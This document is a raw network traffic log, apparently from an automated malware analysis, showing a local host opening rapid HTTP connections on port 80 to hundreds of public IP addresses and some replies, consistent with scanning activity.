Feb 4, 2025 18:17:37.398699045 CET	46308	80	192.168.2.23	41.227.57.41
Feb 4, 2025 18:17:37.398703098 CET	46308	80	192.168.2.23	164.69.223.3
Feb 4, 2025 18:17:37.398719072 CET	46308	80	192.168.2.23	189.75.60.209
Feb 4, 2025 18:17:37.398719072 CET	46308	80	192.168.2.23	88.220.183.247
Feb 4, 2025 18:17:37.398719072 CET	46308	80	192.168.2.23	69.57.118.209
Feb 4, 2025 18:17:37.398720026 CET	46308	80	192.168.2.23	171.98.37.217
Feb 4, 2025 18:17:37.398720026 CET	46308	80	192.168.2.23	23.72.1.249
Feb 4, 2025 18:17:37.398741961 CET	46308	80	192.168.2.23	164.113.66.44
Feb 4, 2025 18:17:37.398745060 CET	46308	80	192.168.2.23	218.118.88.224
Feb 4, 2025 18:17:37.398745060 CET	46308	80	192.168.2.23	110.52.169.53
Feb 4, 2025 18:17:37.398746014 CET	46308	80	192.168.2.23	119.132.83.31
Feb 4, 2025 18:17:37.398746014 CET	46308	80	192.168.2.23	44.225.135.15
Feb 4, 2025 18:17:37.398761034 CET	46308	80	192.168.2.23	34.193.198.228
Feb 4, 2025 18:17:37.398761034 CET	46308	80	192.168.2.23	185.174.143.216
Feb 4, 2025 18:17:37.398763895 CET	46308	80	192.168.2.23	202.70.146.115
Feb 4, 2025 18:17:37.398765087 CET	46308	80	192.168.2.23	148.148.35.192
Feb 4, 2025 18:17:37.398766994 CET	46308	80	192.168.2.23	96.112.188.47
Feb 4, 2025 18:17:37.398768902 CET	46308	80	192.168.2.23	27.226.59.124
Feb 4, 2025 18:17:37.398768902 CET	46308	80	192.168.2.23	62.197.100.205
Feb 4, 2025 18:17:37.398773909 CET	46308	80	192.168.2.23	186.36.49.247
Feb 4, 2025 18:17:37.398777962 CET	46308	80	192.168.2.23	147.69.5.246
Feb 4, 2025 18:17:37.398786068 CET	46308	80	192.168.2.23	50.196.165.37
Feb 4, 2025 18:17:37.398786068 CET	46308	80	192.168.2.23	117.92.2.194
Feb 4, 2025 18:17:37.398803949 CET	46308	80	192.168.2.23	46.139.193.163
Feb 4, 2025 18:17:37.398808002 CET	46308	80	192.168.2.23	87.21.110.169
Feb 4, 2025 18:17:37.398813963 CET	46308	80	192.168.2.23	220.112.34.165
Feb 4, 2025 18:17:37.398817062 CET	46308	80	192.168.2.23	20.171.45.232
Feb 4, 2025 18:17:37.398839951 CET	46308	80	192.168.2.23	61.14.22.252
Feb 4, 2025 18:17:37.398839951 CET	46308	80	192.168.2.23	198.88.6.196
Feb 4, 2025 18:17:37.398840904 CET	46308	80	192.168.2.23	27.26.200.1
Feb 4, 2025 18:17:37.398844004 CET	46308	80	192.168.2.23	154.195.58.100
Feb 4, 2025 18:17:37.398893118 CET	46308	80	192.168.2.23	189.38.113.183
Feb 4, 2025 18:17:37.398895979 CET	46308	80	192.168.2.23	49.145.4.39
Feb 4, 2025 18:17:37.398895979 CET	46308	80	192.168.2.23	222.171.122.238
Feb 4, 2025 18:17:37.398895979 CET	46308	80	192.168.2.23	181.130.73.103
Feb 4, 2025 18:17:37.398897886 CET	46308	80	192.168.2.23	40.185.126.182
Feb 4, 2025 18:17:37.398897886 CET	46308	80	192.168.2.23	78.19.74.108
Feb 4, 2025 18:17:37.398897886 CET	46308	80	192.168.2.23	128.14.154.21
Feb 4, 2025 18:17:37.398900986 CET	46308	80	192.168.2.23	150.147.223.219
Feb 4, 2025 18:17:37.398900986 CET	46308	80	192.168.2.23	64.48.111.38
Feb 4, 2025 18:17:37.398900986 CET	46308	80	192.168.2.23	222.58.51.165
Feb 4, 2025 18:17:37.398904085 CET	46308	80	192.168.2.23	36.189.26.31
Feb 4, 2025 18:17:37.398906946 CET	46308	80	192.168.2.23	184.97.160.175
Feb 4, 2025 18:17:37.398906946 CET	46308	80	192.168.2.23	184.173.91.180
Feb 4, 2025 18:17:37.398910046 CET	46308	80	192.168.2.23	40.175.38.250
Feb 4, 2025 18:17:37.398912907 CET	46308	80	192.168.2.23	47.2.239.53
Feb 4, 2025 18:17:37.398912907 CET	46308	80	192.168.2.23	193.184.45.16
Feb 4, 2025 18:17:37.398924112 CET	46308	80	192.168.2.23	181.94.154.233
Feb 4, 2025 18:17:37.398924112 CET	46308	80	192.168.2.23	23.155.60.212
Feb 4, 2025 18:17:37.398931980 CET	46308	80	192.168.2.23	110.28.148.193
Feb 4, 2025 18:17:37.398936033 CET	46308	80	192.168.2.23	184.40.3.192
Feb 4, 2025 18:17:37.398936987 CET	46308	80	192.168.2.23	191.49.25.69
Feb 4, 2025 18:17:37.398955107 CET	46308	80	192.168.2.23	104.165.0.215
Feb 4, 2025 18:17:37.398957968 CET	46308	80	192.168.2.23	13.147.179.193
Feb 4, 2025 18:17:37.398958921 CET	46308	80	192.168.2.23	41.131.222.187
Feb 4, 2025 18:17:37.398962021 CET	46308	80	192.168.2.23	179.14.94.166
Feb 4, 2025 18:17:37.398972988 CET	46308	80	192.168.2.23	147.210.25.84
Feb 4, 2025 18:17:37.398982048 CET	46308	80	192.168.2.23	18.15.42.162
Feb 4, 2025 18:17:37.398988008 CET	46308	80	192.168.2.23	161.77.1.72
Feb 4, 2025 18:17:37.398989916 CET	46308	80	192.168.2.23	101.12.82.132
Feb 4, 2025 18:17:37.398993015 CET	46308	80	192.168.2.23	169.104.7.25
Feb 4, 2025 18:17:37.398997068 CET	46308	80	192.168.2.23	128.173.119.160
Feb 4, 2025 18:17:37.398997068 CET	46308	80	192.168.2.23	92.129.7.105
Feb 4, 2025 18:17:37.399000883 CET	46308	80	192.168.2.23	200.175.56.111
Feb 4, 2025 18:17:37.399003983 CET	46308	80	192.168.2.23	32.167.247.65
Feb 4, 2025 18:17:37.399003983 CET	46308	80	192.168.2.23	152.56.144.95
Feb 4, 2025 18:17:37.399005890 CET	46308	80	192.168.2.23	86.205.234.158
Feb 4, 2025 18:17:37.399005890 CET	46308	80	192.168.2.23	122.145.80.223
Feb 4, 2025 18:17:37.399017096 CET	46308	80	192.168.2.23	24.205.149.76
Feb 4, 2025 18:17:37.399034977 CET	46308	80	192.168.2.23	43.75.246.199
Feb 4, 2025 18:17:37.399034977 CET	46308	80	192.168.2.23	94.100.163.244
Feb 4, 2025 18:17:37.399034977 CET	46308	80	192.168.2.23	86.87.219.188
Feb 4, 2025 18:17:37.399039984 CET	46308	80	192.168.2.23	60.229.29.16
Feb 4, 2025 18:17:37.399039984 CET	46308	80	192.168.2.23	65.82.215.135
Feb 4, 2025 18:17:37.399040937 CET	46308	80	192.168.2.23	84.76.154.49
Feb 4, 2025 18:17:37.399043083 CET	46308	80	192.168.2.23	95.152.253.106
Feb 4, 2025 18:17:37.399043083 CET	46308	80	192.168.2.23	92.217.205.141
Feb 4, 2025 18:17:37.399044037 CET	46308	80	192.168.2.23	180.175.118.48
Feb 4, 2025 18:17:37.399058104 CET	46308	80	192.168.2.23	131.141.49.171
Feb 4, 2025 18:17:37.399060011 CET	46308	80	192.168.2.23	165.121.165.46
Feb 4, 2025 18:17:37.399064064 CET	46308	80	192.168.2.23	106.221.98.231
Feb 4, 2025 18:17:37.399070024 CET	46308	80	192.168.2.23	120.78.70.37
Feb 4, 2025 18:17:37.399075985 CET	46308	80	192.168.2.23	70.34.151.18
Feb 4, 2025 18:17:37.399075985 CET	46308	80	192.168.2.23	157.41.184.57
Feb 4, 2025 18:17:37.399075985 CET	46308	80	192.168.2.23	191.18.193.18
Feb 4, 2025 18:17:37.399080038 CET	46308	80	192.168.2.23	151.199.88.165
Feb 4, 2025 18:17:37.399080992 CET	46308	80	192.168.2.23	174.170.205.102
Feb 4, 2025 18:17:37.399089098 CET	46308	80	192.168.2.23	123.4.121.167
Feb 4, 2025 18:17:37.399089098 CET	46308	80	192.168.2.23	212.39.162.216
Feb 4, 2025 18:17:37.399089098 CET	46308	80	192.168.2.23	83.30.170.73
Feb 4, 2025 18:17:37.399095058 CET	46308	80	192.168.2.23	4.111.149.153
Feb 4, 2025 18:17:37.399096012 CET	46308	80	192.168.2.23	123.62.96.139
Feb 4, 2025 18:17:37.399096966 CET	46308	80	192.168.2.23	117.246.7.165
Feb 4, 2025 18:17:37.399101973 CET	46308	80	192.168.2.23	82.234.19.222
Feb 4, 2025 18:17:37.399111032 CET	46308	80	192.168.2.23	34.227.132.246
Feb 4, 2025 18:17:37.399115086 CET	46308	80	192.168.2.23	199.152.144.69
Feb 4, 2025 18:17:37.399122953 CET	46308	80	192.168.2.23	83.149.61.35
Feb 4, 2025 18:17:37.399127007 CET	46308	80	192.168.2.23	213.116.152.142
Feb 4, 2025 18:17:37.399138927 CET	46308	80	192.168.2.23	166.225.43.32
Feb 4, 2025 18:17:37.399141073 CET	46308	80	192.168.2.23	131.126.247.43
Feb 4, 2025 18:17:37.399146080 CET	46308	80	192.168.2.23	17.202.252.242
Feb 4, 2025 18:17:37.399152994 CET	46308	80	192.168.2.23	64.230.79.217
Feb 4, 2025 18:17:37.399168015 CET	46308	80	192.168.2.23	37.162.122.146
Feb 4, 2025 18:17:37.399168015 CET	46308	80	192.168.2.23	191.51.133.243
Feb 4, 2025 18:17:37.399168015 CET	46308	80	192.168.2.23	152.179.100.186
Feb 4, 2025 18:17:37.399168968 CET	46308	80	192.168.2.23	44.18.154.210
Feb 4, 2025 18:17:37.399173021 CET	46308	80	192.168.2.23	162.156.2.20
Feb 4, 2025 18:17:37.399173021 CET	46308	80	192.168.2.23	75.37.176.105
Feb 4, 2025 18:17:37.399179935 CET	46308	80	192.168.2.23	111.197.202.246
Feb 4, 2025 18:17:37.399183035 CET	46308	80	192.168.2.23	62.37.229.137
Feb 4, 2025 18:17:37.399192095 CET	46308	80	192.168.2.23	89.136.104.89
Feb 4, 2025 18:17:37.399194002 CET	46308	80	192.168.2.23	121.186.71.85
Feb 4, 2025 18:17:37.399195910 CET	46308	80	192.168.2.23	100.220.25.97
Feb 4, 2025 18:17:37.399197102 CET	46308	80	192.168.2.23	109.188.254.153
Feb 4, 2025 18:17:37.399213076 CET	46308	80	192.168.2.23	100.61.111.158
Feb 4, 2025 18:17:37.399214983 CET	46308	80	192.168.2.23	2.152.207.56
Feb 4, 2025 18:17:37.399214983 CET	46308	80	192.168.2.23	191.26.88.15
Feb 4, 2025 18:17:37.399218082 CET	46308	80	192.168.2.23	124.228.179.72
Feb 4, 2025 18:17:37.399218082 CET	46308	80	192.168.2.23	34.104.51.80
Feb 4, 2025 18:17:37.399233103 CET	46308	80	192.168.2.23	211.165.200.148
Feb 4, 2025 18:17:37.399233103 CET	46308	80	192.168.2.23	217.90.107.216
Feb 4, 2025 18:17:37.399234056 CET	46308	80	192.168.2.23	183.90.136.171
Feb 4, 2025 18:17:37.399240017 CET	46308	80	192.168.2.23	156.85.220.219
Feb 4, 2025 18:17:37.399245977 CET	46308	80	192.168.2.23	90.7.221.36
Feb 4, 2025 18:17:37.399252892 CET	46308	80	192.168.2.23	83.140.172.83
Feb 4, 2025 18:17:37.399252892 CET	46308	80	192.168.2.23	114.100.81.95
Feb 4, 2025 18:17:37.399275064 CET	46308	80	192.168.2.23	115.23.250.133
Feb 4, 2025 18:17:37.399275064 CET	46308	80	192.168.2.23	139.221.253.77
Feb 4, 2025 18:17:37.399291039 CET	46308	80	192.168.2.23	91.206.220.48
Feb 4, 2025 18:17:37.399291039 CET	46308	80	192.168.2.23	104.147.124.19
Feb 4, 2025 18:17:37.399293900 CET	46308	80	192.168.2.23	202.177.247.64
Feb 4, 2025 18:17:37.399293900 CET	46308	80	192.168.2.23	202.110.168.98
Feb 4, 2025 18:17:37.399295092 CET	46308	80	192.168.2.23	78.46.48.200
Feb 4, 2025 18:17:37.399295092 CET	46308	80	192.168.2.23	135.152.196.124
Feb 4, 2025 18:17:37.399298906 CET	46308	80	192.168.2.23	41.28.62.138
Feb 4, 2025 18:17:37.399301052 CET	46308	80	192.168.2.23	107.21.42.84
Feb 4, 2025 18:17:37.399305105 CET	46308	80	192.168.2.23	81.160.119.50
Feb 4, 2025 18:17:37.399384975 CET	42936	80	192.168.2.23	191.85.35.11
Feb 4, 2025 18:17:37.399395943 CET	52480	80	192.168.2.23	75.29.86.116
Feb 4, 2025 18:17:37.399420023 CET	37146	80	192.168.2.23	194.129.199.106
Feb 4, 2025 18:17:37.399432898 CET	56364	80	192.168.2.23	187.170.55.10
Feb 4, 2025 18:17:37.399432898 CET	48630	80	192.168.2.23	101.15.139.86
Feb 4, 2025 18:17:37.399451971 CET	54152	80	192.168.2.23	161.152.27.77
Feb 4, 2025 18:17:37.399480104 CET	50030	80	192.168.2.23	32.156.11.239
Feb 4, 2025 18:17:37.399513006 CET	49892	80	192.168.2.23	188.70.1.82
Feb 4, 2025 18:17:37.399513006 CET	44610	80	192.168.2.23	67.39.122.4
Feb 4, 2025 18:17:37.399564981 CET	55242	80	192.168.2.23	36.215.21.101
Feb 4, 2025 18:17:37.399574041 CET	34596	80	192.168.2.23	165.206.66.246
Feb 4, 2025 18:17:37.399574041 CET	50908	80	192.168.2.23	149.69.125.7
Feb 4, 2025 18:17:37.399575949 CET	40832	80	192.168.2.23	13.71.41.29
Feb 4, 2025 18:17:37.399575949 CET	35464	80	192.168.2.23	104.41.168.53
Feb 4, 2025 18:17:37.399575949 CET	45424	80	192.168.2.23	192.120.151.211
Feb 4, 2025 18:17:37.399575949 CET	58674	80	192.168.2.23	135.243.241.188
Feb 4, 2025 18:17:37.399578094 CET	47892	80	192.168.2.23	194.34.3.27
Feb 4, 2025 18:17:37.399588108 CET	41846	80	192.168.2.23	137.136.123.182
Feb 4, 2025 18:17:37.399604082 CET	36342	80	192.168.2.23	104.130.211.52
Feb 4, 2025 18:17:37.399614096 CET	35716	80	192.168.2.23	177.80.244.140
Feb 4, 2025 18:17:37.399629116 CET	58208	80	192.168.2.23	191.144.192.73
Feb 4, 2025 18:17:37.399631023 CET	48532	80	192.168.2.23	211.18.137.254
Feb 4, 2025 18:17:37.399648905 CET	52466	80	192.168.2.23	5.124.253.22
Feb 4, 2025 18:17:37.399658918 CET	55036	80	192.168.2.23	193.157.59.52
Feb 4, 2025 18:17:37.399681091 CET	45690	80	192.168.2.23	106.250.108.219
Feb 4, 2025 18:17:37.399693012 CET	44888	80	192.168.2.23	43.114.213.162
Feb 4, 2025 18:17:37.399709940 CET	48644	80	192.168.2.23	51.173.224.165
Feb 4, 2025 18:17:37.399709940 CET	49428	80	192.168.2.23	180.26.115.199
Feb 4, 2025 18:17:37.399730921 CET	51920	80	192.168.2.23	78.251.75.96
Feb 4, 2025 18:17:37.399770021 CET	53138	80	192.168.2.23	146.67.180.234
Feb 4, 2025 18:17:37.399770021 CET	48724	80	192.168.2.23	168.204.45.53
Feb 4, 2025 18:17:37.399791002 CET	35940	80	192.168.2.23	138.11.100.125
Feb 4, 2025 18:17:37.399801970 CET	58032	80	192.168.2.23	165.28.117.196
Feb 4, 2025 18:17:37.399811029 CET	52136	80	192.168.2.23	62.130.67.206
Feb 4, 2025 18:17:37.399813890 CET	55450	80	192.168.2.23	96.12.237.21
Feb 4, 2025 18:17:37.399821043 CET	55904	80	192.168.2.23	134.14.146.1
Feb 4, 2025 18:17:37.399821043 CET	52232	80	192.168.2.23	32.237.103.155
Feb 4, 2025 18:17:37.399828911 CET	58486	80	192.168.2.23	106.167.68.251
Feb 4, 2025 18:17:37.399844885 CET	49148	80	192.168.2.23	44.46.161.18
Feb 4, 2025 18:17:37.399854898 CET	58558	80	192.168.2.23	140.58.151.1
Feb 4, 2025 18:17:37.399869919 CET	37738	80	192.168.2.23	50.148.137.8
Feb 4, 2025 18:17:37.399887085 CET	54546	80	192.168.2.23	126.126.220.124
Feb 4, 2025 18:17:37.399887085 CET	41148	80	192.168.2.23	138.117.213.242
Feb 4, 2025 18:17:37.399915934 CET	60040	80	192.168.2.23	147.98.12.164
Feb 4, 2025 18:17:37.399943113 CET	56986	80	192.168.2.23	136.188.194.235
Feb 4, 2025 18:17:37.399943113 CET	55548	80	192.168.2.23	58.99.147.68
Feb 4, 2025 18:17:37.399957895 CET	56062	80	192.168.2.23	198.163.207.89
Feb 4, 2025 18:17:37.399971962 CET	34704	80	192.168.2.23	193.13.129.58
Feb 4, 2025 18:17:37.399972916 CET	59612	80	192.168.2.23	171.71.7.148
Feb 4, 2025 18:17:37.399975061 CET	57070	80	192.168.2.23	94.178.7.124
Feb 4, 2025 18:17:37.399987936 CET	52018	80	192.168.2.23	150.99.29.150
Feb 4, 2025 18:17:37.400001049 CET	58350	80	192.168.2.23	89.108.204.66
Feb 4, 2025 18:17:37.400012016 CET	53328	80	192.168.2.23	219.121.98.155
Feb 4, 2025 18:17:37.400028944 CET	52884	80	192.168.2.23	45.116.24.205
Feb 4, 2025 18:17:37.400063038 CET	45106	80	192.168.2.23	159.221.50.75
Feb 4, 2025 18:17:37.400067091 CET	57236	80	192.168.2.23	123.116.228.208
Feb 4, 2025 18:17:37.400067091 CET	54016	80	192.168.2.23	122.100.83.75
Feb 4, 2025 18:17:37.400067091 CET	34486	80	192.168.2.23	100.31.120.116
Feb 4, 2025 18:17:37.400069952 CET	55996	80	192.168.2.23	113.182.15.118
Feb 4, 2025 18:17:37.400082111 CET	60450	80	192.168.2.23	142.68.166.120
Feb 4, 2025 18:17:37.400100946 CET	35264	80	192.168.2.23	135.161.83.136
Feb 4, 2025 18:17:37.400119066 CET	35844	80	192.168.2.23	13.204.77.15
Feb 4, 2025 18:17:37.400141954 CET	56656	80	192.168.2.23	151.36.31.25
Feb 4, 2025 18:17:37.400152922 CET	42120	80	192.168.2.23	114.76.43.45
Feb 4, 2025 18:17:37.400182009 CET	54346	80	192.168.2.23	41.69.192.184
Feb 4, 2025 18:17:37.400183916 CET	54996	80	192.168.2.23	51.162.183.148
Feb 4, 2025 18:17:37.400183916 CET	54350	80	192.168.2.23	124.113.46.235
Feb 4, 2025 18:17:37.400198936 CET	60970	80	192.168.2.23	2.58.140.16
Feb 4, 2025 18:17:37.400213003 CET	39288	80	192.168.2.23	14.89.254.39
Feb 4, 2025 18:17:37.400214911 CET	41226	80	192.168.2.23	195.46.37.156
Feb 4, 2025 18:17:37.400248051 CET	53738	80	192.168.2.23	203.148.113.237
Feb 4, 2025 18:17:37.400249004 CET	55754	80	192.168.2.23	177.29.95.193
Feb 4, 2025 18:17:37.400249004 CET	38462	80	192.168.2.23	101.175.147.158
Feb 4, 2025 18:17:37.400253057 CET	52468	80	192.168.2.23	93.165.233.64
Feb 4, 2025 18:17:37.400273085 CET	47352	80	192.168.2.23	197.121.158.198
Feb 4, 2025 18:17:37.400273085 CET	43372	80	192.168.2.23	83.34.6.141
Feb 4, 2025 18:17:37.400290966 CET	32908	80	192.168.2.23	57.220.251.236
Feb 4, 2025 18:17:37.400302887 CET	57440	80	192.168.2.23	129.90.80.128
Feb 4, 2025 18:17:37.400352955 CET	36934	80	192.168.2.23	217.197.194.133
Feb 4, 2025 18:17:37.400377035 CET	40516	80	192.168.2.23	86.218.127.37
Feb 4, 2025 18:17:37.400392056 CET	49532	80	192.168.2.23	4.105.4.130
Feb 4, 2025 18:17:37.400392056 CET	51368	80	192.168.2.23	219.125.195.43
Feb 4, 2025 18:17:37.400392056 CET	46396	80	192.168.2.23	46.70.14.92
Feb 4, 2025 18:17:37.400404930 CET	33260	80	192.168.2.23	133.83.119.49
Feb 4, 2025 18:17:37.402952909 CET	80	46308	112.95.124.187	192.168.2.23
Feb 4, 2025 18:17:37.402960062 CET	80	46308	126.220.197.147	192.168.2.23
Feb 4, 2025 18:17:37.402981997 CET	80	46308	68.15.113.162	192.168.2.23
Feb 4, 2025 18:17:37.402997017 CET	80	46308	49.28.194.253	192.168.2.23
Feb 4, 2025 18:17:37.403001070 CET	80	46308	88.42.57.96	192.168.2.23
Feb 4, 2025 18:17:37.403012991 CET	80	46308	4.246.234.6	192.168.2.23
Feb 4, 2025 18:17:37.403017044 CET	46308	80	192.168.2.23	112.95.124.187
Feb 4, 2025 18:17:37.403017998 CET	80	46308	85.112.140.158	192.168.2.23
Feb 4, 2025 18:17:37.403023958 CET	46308	80	192.168.2.23	68.15.113.162
Feb 4, 2025 18:17:37.403027058 CET	80	46308	136.228.174.11	192.168.2.23
Feb 4, 2025 18:17:37.403033972 CET	46308	80	192.168.2.23	49.28.194.253
Feb 4, 2025 18:17:37.403032064 CET	80	46308	105.181.115.182	192.168.2.23
Feb 4, 2025 18:17:37.403043032 CET	80	46308	37.23.46.64	192.168.2.23
Feb 4, 2025 18:17:37.403048038 CET	80	46308	51.255.161.213	192.168.2.23
Feb 4, 2025 18:17:37.403050900 CET	46308	80	192.168.2.23	88.42.57.96
Feb 4, 2025 18:17:37.403052092 CET	46308	80	192.168.2.23	126.220.197.147
Feb 4, 2025 18:17:37.403058052 CET	80	46308	184.9.38.216	192.168.2.23
Feb 4, 2025 18:17:37.403063059 CET	80	46308	191.66.91.167	192.168.2.23
Feb 4, 2025 18:17:37.403065920 CET	46308	80	192.168.2.23	136.228.174.11
Feb 4, 2025 18:17:37.403070927 CET	46308	80	192.168.2.23	4.246.234.6
Feb 4, 2025 18:17:37.403074026 CET	46308	80	192.168.2.23	51.255.161.213
Feb 4, 2025 18:17:37.403074980 CET	46308	80	192.168.2.23	105.181.115.182
Feb 4, 2025 18:17:37.403089046 CET	46308	80	192.168.2.23	184.9.38.216
Feb 4, 2025 18:17:37.403090954 CET	46308	80	192.168.2.23	37.23.46.64
Feb 4, 2025 18:17:37.403094053 CET	46308	80	192.168.2.23	191.66.91.167
Feb 4, 2025 18:17:37.403094053 CET	46308	80	192.168.2.23	85.112.140.158
Feb 4, 2025 18:17:37.403888941 CET	80	46308	59.45.39.108	192.168.2.23
Feb 4, 2025 18:17:37.403894901 CET	80	46308	73.24.13.153	192.168.2.23
Feb 4, 2025 18:17:37.403906107 CET	80	46308	141.67.61.255	192.168.2.23
Feb 4, 2025 18:17:37.403909922 CET	80	46308	76.76.79.149	192.168.2.23
Feb 4, 2025 18:17:37.403919935 CET	80	46308	130.206.168.29	192.168.2.23
Feb 4, 2025 18:17:37.403923988 CET	80	46308	200.183.96.144	192.168.2.23
Feb 4, 2025 18:17:37.403928041 CET	80	46308	89.46.197.21	192.168.2.23
Feb 4, 2025 18:17:37.403932095 CET	80	46308	97.15.52.37	192.168.2.23
Feb 4, 2025 18:17:37.403938055 CET	80	46308	148.84.9.70	192.168.2.23
Feb 4, 2025 18:17:37.403942108 CET	46308	80	192.168.2.23	73.24.13.153
Feb 4, 2025 18:17:37.403943062 CET	46308	80	192.168.2.23	141.67.61.255
Feb 4, 2025 18:17:37.403943062 CET	80	46308	4.176.245.185	192.168.2.23
Feb 4, 2025 18:17:37.403944016 CET	46308	80	192.168.2.23	59.45.39.108
Feb 4, 2025 18:17:37.403947115 CET	46308	80	192.168.2.23	130.206.168.29
Feb 4, 2025 18:17:37.403948069 CET	80	46308	9.24.138.162	192.168.2.23
Feb 4, 2025 18:17:37.403948069 CET	46308	80	192.168.2.23	76.76.79.149
Feb 4, 2025 18:17:37.403958082 CET	46308	80	192.168.2.23	200.183.96.144
Feb 4, 2025 18:17:37.403960943 CET	80	46308	207.242.232.117	192.168.2.23
Feb 4, 2025 18:17:37.403965950 CET	80	46308	213.19.159.164	192.168.2.23
Feb 4, 2025 18:17:37.403970003 CET	80	46308	12.78.127.191	192.168.2.23
Feb 4, 2025 18:17:37.403970957 CET	46308	80	192.168.2.23	89.46.197.21
Feb 4, 2025 18:17:37.403970957 CET	46308	80	192.168.2.23	97.15.52.37
Feb 4, 2025 18:17:37.403975010 CET	80	46308	178.27.71.216	192.168.2.23
Feb 4, 2025 18:17:37.403979063 CET	80	46308	171.4.4.125	192.168.2.23
Feb 4, 2025 18:17:37.403981924 CET	46308	80	192.168.2.23	148.84.9.70
Feb 4, 2025 18:17:37.403983116 CET	80	46308	124.128.76.233	192.168.2.23
Feb 4, 2025 18:17:37.403989077 CET	46308	80	192.168.2.23	9.24.138.162
Feb 4, 2025 18:17:37.403992891 CET	80	46308	148.238.206.105	192.168.2.23
Feb 4, 2025 18:17:37.403997898 CET	80	46308	192.89.201.92	192.168.2.23
Feb 4, 2025 18:17:37.404000044 CET	46308	80	192.168.2.23	178.27.71.216
Feb 4, 2025 18:17:37.404001951 CET	80	46308	107.115.165.29	192.168.2.23
Feb 4, 2025 18:17:37.404006004 CET	80	46308	223.191.126.74	192.168.2.23
Feb 4, 2025 18:17:37.404011011 CET	80	46308	58.219.127.192	192.168.2.23
Feb 4, 2025 18:17:37.404011965 CET	46308	80	192.168.2.23	171.4.4.125
Feb 4, 2025 18:17:37.404014111 CET	46308	80	192.168.2.23	148.238.206.105
Feb 4, 2025 18:17:37.404021978 CET	80	46308	163.41.82.234	192.168.2.23
Feb 4, 2025 18:17:37.404025078 CET	46308	80	192.168.2.23	124.128.76.233
Feb 4, 2025 18:17:37.404027939 CET	46308	80	192.168.2.23	4.176.245.185
Feb 4, 2025 18:17:37.404027939 CET	80	46308	200.246.63.145	192.168.2.23
Feb 4, 2025 18:17:37.404028893 CET	46308	80	192.168.2.23	207.242.232.117
Feb 4, 2025 18:17:37.404028893 CET	46308	80	192.168.2.23	213.19.159.164
Feb 4, 2025 18:17:37.404028893 CET	46308	80	192.168.2.23	12.78.127.191
Feb 4, 2025 18:17:37.404032946 CET	46308	80	192.168.2.23	107.115.165.29
Feb 4, 2025 18:17:37.404032946 CET	80	46308	47.58.36.225	192.168.2.23
Feb 4, 2025 18:17:37.404037952 CET	80	46308	205.28.6.151	192.168.2.23
Feb 4, 2025 18:17:37.404038906 CET	46308	80	192.168.2.23	192.89.201.92
Feb 4, 2025 18:17:37.404042959 CET	80	46308	73.96.9.134	192.168.2.23
Feb 4, 2025 18:17:37.404046059 CET	46308	80	192.168.2.23	58.219.127.192
Feb 4, 2025 18:17:37.404047012 CET	80	46308	111.135.170.29	192.168.2.23
Feb 4, 2025 18:17:37.404071093 CET	46308	80	192.168.2.23	73.96.9.134
Feb 4, 2025 18:17:37.404071093 CET	46308	80	192.168.2.23	205.28.6.151
Feb 4, 2025 18:17:37.404071093 CET	46308	80	192.168.2.23	111.135.170.29
Feb 4, 2025 18:17:37.404093981 CET	46308	80	192.168.2.23	47.58.36.225
Feb 4, 2025 18:17:37.404098988 CET	46308	80	192.168.2.23	223.191.126.74
Feb 4, 2025 18:17:37.404099941 CET	46308	80	192.168.2.23	163.41.82.234
Feb 4, 2025 18:17:37.404099941 CET	46308	80	192.168.2.23	200.246.63.145
Feb 4, 2025 18:17:37.404592991 CET	80	46308	117.207.220.125	192.168.2.23
Feb 4, 2025 18:17:37.404598951 CET	80	46308	190.82.84.241	192.168.2.23
Feb 4, 2025 18:17:37.404619932 CET	80	46308	38.180.15.112	192.168.2.23
Feb 4, 2025 18:17:37.404623985 CET	80	46308	181.216.200.13	192.168.2.23
Feb 4, 2025 18:17:37.404628992 CET	80	46308	99.185.190.215	192.168.2.23
Feb 4, 2025 18:17:37.404633045 CET	80	46308	126.84.54.123	192.168.2.23
Feb 4, 2025 18:17:37.404643059 CET	80	46308	102.131.40.111	192.168.2.23
Feb 4, 2025 18:17:37.404647112 CET	80	46308	165.188.151.16	192.168.2.23
Feb 4, 2025 18:17:37.404649973 CET	46308	80	192.168.2.23	38.180.15.112
Feb 4, 2025 18:17:37.404652119 CET	80	46308	216.208.154.255	192.168.2.23
Feb 4, 2025 18:17:37.404652119 CET	46308	80	192.168.2.23	190.82.84.241
Feb 4, 2025 18:17:37.404655933 CET	80	46308	185.46.200.23	192.168.2.23
Feb 4, 2025 18:17:37.404659033 CET	46308	80	192.168.2.23	117.207.220.125
Feb 4, 2025 18:17:37.404659033 CET	46308	80	192.168.2.23	181.216.200.13
Feb 4, 2025 18:17:37.404660940 CET	80	46308	64.45.187.1	192.168.2.23
Feb 4, 2025 18:17:37.404664993 CET	46308	80	192.168.2.23	99.185.190.215
Feb 4, 2025 18:17:37.404665947 CET	80	46308	166.230.3.28	192.168.2.23
Feb 4, 2025 18:17:37.404670954 CET	80	46308	14.33.92.128	192.168.2.23
Feb 4, 2025 18:17:37.404673100 CET	46308	80	192.168.2.23	102.131.40.111
Feb 4, 2025 18:17:37.404675961 CET	80	46308	94.3.42.83	192.168.2.23
Feb 4, 2025 18:17:37.404678106 CET	46308	80	192.168.2.23	165.188.151.16
Feb 4, 2025 18:17:37.404680967 CET	46308	80	192.168.2.23	185.46.200.23
Feb 4, 2025 18:17:37.404680967 CET	80	46308	211.252.12.161	192.168.2.23
Feb 4, 2025 18:17:37.404681921 CET	46308	80	192.168.2.23	126.84.54.123
Feb 4, 2025 18:17:37.404685020 CET	80	46308	5.209.178.255	192.168.2.23
Feb 4, 2025 18:17:37.404686928 CET	46308	80	192.168.2.23	216.208.154.255
Feb 4, 2025 18:17:37.404690027 CET	80	46308	160.6.86.54	192.168.2.23
Feb 4, 2025 18:17:37.404699087 CET	80	46308	205.201.249.203	192.168.2.23
Feb 4, 2025 18:17:37.404700994 CET	46308	80	192.168.2.23	64.45.187.1
Feb 4, 2025 18:17:37.404705048 CET	80	46308	115.41.138.60	192.168.2.23
Feb 4, 2025 18:17:37.404709101 CET	46308	80	192.168.2.23	166.230.3.28
Feb 4, 2025 18:17:37.404715061 CET	80	46308	2.137.38.102	192.168.2.23
Feb 4, 2025 18:17:37.404716015 CET	46308	80	192.168.2.23	211.252.12.161
Feb 4, 2025 18:17:37.404719114 CET	80	46308	91.9.195.152	192.168.2.23
Feb 4, 2025 18:17:37.404723883 CET	80	46308	204.140.208.71	192.168.2.23
Feb 4, 2025 18:17:37.404728889 CET	80	46308	213.180.136.141	192.168.2.23
Feb 4, 2025 18:17:37.404730082 CET	46308	80	192.168.2.23	94.3.42.83
